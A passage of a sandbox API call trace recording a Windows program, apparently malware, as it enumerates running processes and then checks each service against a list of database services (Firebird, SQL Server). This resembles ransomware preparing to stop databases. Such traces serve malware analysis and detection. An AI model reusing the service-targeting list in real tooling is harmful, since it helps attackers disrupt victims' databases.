Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.649] lstrlenW (lpString="svchost.exe") returned 11 [0273.649] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.649] lstrlenW (lpString="svchost.exe") returned 11 [0273.649] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0273.650] lstrlenW (lpString="spoolsv.exe") returned 11 [0273.650] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0273.651] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0273.651] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0273.651] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0273.651] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0273.652] lstrlenW (lpString="Memory Compression") returned 18 [0273.652] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.653] lstrlenW (lpString="svchost.exe") returned 11 [0273.653] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0273.653] lstrlenW (lpString="audiodg.exe") returned 11 [0273.653] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0273.654] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0273.654] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0273.654] lstrlenW (lpString="sihost.exe") returned 10 [0273.654] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.655] lstrlenW (lpString="svchost.exe") returned 11 [0273.655] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0273.656] lstrlenW (lpString="taskhostw.exe") returned 13 [0273.656] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0273.656] lstrlenW (lpString="msoia.exe") returned 9 [0273.656] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0273.657] lstrlenW (lpString="explorer.exe") returned 12 [0273.657] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0273.657] lstrlenW (lpString="SearchUI.exe") returned 12 [0273.658] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0273.658] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0273.658] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0273.659] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0273.659] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0273.659] lstrlenW (lpString="1csrss.exe") returned 10 [0273.659] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0273.660] lstrlenW (lpString="svchost.exe") returned 11 [0273.660] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0273.661] lstrlenW (lpString="cmd.exe") returned 7 [0273.661] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0273.661] lstrlenW (lpString="conhost.exe") returned 11 [0273.661] Process32NextW (in: hSnapshot=0x3a0, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe78, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0273.662] CloseHandle (hObject=0x3a0) returned 1 [0273.662] Sleep (dwMilliseconds=0x1f4) [0274.166] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x71eca0 [0274.166] EnumServicesStatusExW (in: hSCManager=0x71eca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0274.167] GetLastError () returned 0xea [0274.167] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1ca4) returned 0x45cc008 [0274.167] EnumServicesStatusExW (in: hSCManager=0x71eca0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45cc008, cbBufSize=0x1ca4, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45cc008, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0274.168] CloseServiceHandle (hSCObject=0x71eca0) returned 1 [0274.168] lstrlenW (lpString="AppXSvc") returned 7 [0274.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0274.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0274.168] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0274.168] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0274.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0274.168] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0274.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0274.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0274.168] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0274.168] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0274.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0274.169] lstrlenW (lpString="Audiosrv") returned 8 [0274.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0274.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0274.169] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0274.169] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0274.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0274.169] lstrlenW (lpString="BFE") returned 3 [0274.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0274.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0274.169] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0274.169] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0274.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0274.169] lstrlenW (lpString="BITS") returned 4 [0274.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0274.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0274.169] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0274.169] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0274.169] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0274.169] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0274.169] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0274.169] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0274.170] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0274.170] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0274.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0274.170] lstrlenW (lpString="CDPSvc") returned 6 [0274.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0274.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0274.170] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0274.170] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0274.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0274.170] lstrlenW (lpString="ClickToRunSvc") returned 13 [0274.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0274.170] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0274.170] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0274.170] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0274.170] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0274.170] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0274.170] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0274.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0274.171] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0274.171] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0274.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0274.171] lstrlenW (lpString="CryptSvc") returned 8 [0274.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0274.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0274.171] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0274.171] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0274.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0274.171] lstrlenW (lpString="DcomLaunch") returned 10 [0274.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0274.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0274.171] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0274.171] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0274.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0274.171] lstrlenW (lpString="DeviceAssociationService") returned 24 [0274.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0274.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0274.171] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0274.171] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0274.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0274.171] lstrlenW (lpString="Dhcp") returned 4 [0274.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0274.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0274.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0274.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0274.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0274.172] lstrlenW (lpString="Dnscache") returned 8 [0274.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0274.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0274.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0274.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0274.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0274.172] lstrlenW (lpString="DPS") returned 3 [0274.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0274.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0274.172] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0274.172] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0274.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0274.172] lstrlenW (lpString="DusmSvc") returned 7 [0274.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0274.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0274.172] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0274.172] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0274.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0274.172] lstrlenW (lpString="EventLog") returned 8 [0274.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0274.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0274.172] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0274.172] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0274.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0274.172] lstrlenW (lpString="EventSystem") returned 11 [0274.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0274.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0274.173] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0274.173] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0274.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0274.173] lstrlenW (lpString="FontCache") returned 9 [0274.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0274.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0274.173] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0274.173] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0274.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0274.173] lstrlenW (lpString="gpsvc") returned 5 [0274.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0274.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0274.173] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0274.173] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0274.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0274.173] lstrlenW (lpString="iphlpsvc") returned 8 [0274.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0274.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0274.173] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0274.173] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0274.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0274.173] lstrlenW (lpString="KeyIso") returned 6 [0274.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0274.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0274.174] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0274.174] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0274.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0274.174] lstrlenW (lpString="LanmanServer") returned 12 [0274.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0274.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0274.174] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0274.174] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0274.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0274.174] lstrlenW (lpString="LanmanWorkstation") returned 17 [0274.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0274.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0274.174] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0274.174] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0274.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0274.174] lstrlenW (lpString="lfsvc") returned 5 [0274.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0274.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0274.174] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0274.174] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0274.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0274.174] lstrlenW (lpString="lmhosts") returned 7 [0274.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0274.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0274.174] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0274.174] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0274.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0274.175] lstrlenW (lpString="LSM") returned 3 [0274.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0274.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0274.175] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0274.175] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0274.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0274.175] lstrlenW (lpString="MpsSvc") returned 6 [0274.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0274.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0274.175] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0274.175] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0274.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0274.175] lstrlenW (lpString="NcbService") returned 10 [0274.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0274.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0274.175] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0274.175] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0274.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0274.175] lstrlenW (lpString="netprofm") returned 8 [0274.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0274.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0274.175] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0274.175] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0274.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0274.175] lstrlenW (lpString="NgcSvc") returned 6 [0274.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0274.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0274.176] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0274.176] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0274.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0274.176] lstrlenW (lpString="NlaSvc") returned 6 [0274.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0274.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0274.176] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0274.176] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0274.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0274.176] lstrlenW (lpString="nsi") returned 3 [0274.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0274.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0274.176] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0274.176] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0274.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0274.176] lstrlenW (lpString="PcaSvc") returned 6 [0274.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0274.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0274.176] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0274.176] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0274.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0274.176] lstrlenW (lpString="PlugPlay") returned 8 [0274.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0274.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0274.176] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0274.176] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0274.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0274.177] lstrlenW (lpString="Power") returned 5 [0274.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0274.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0274.177] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0274.177] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0274.177] lstrcmpiW 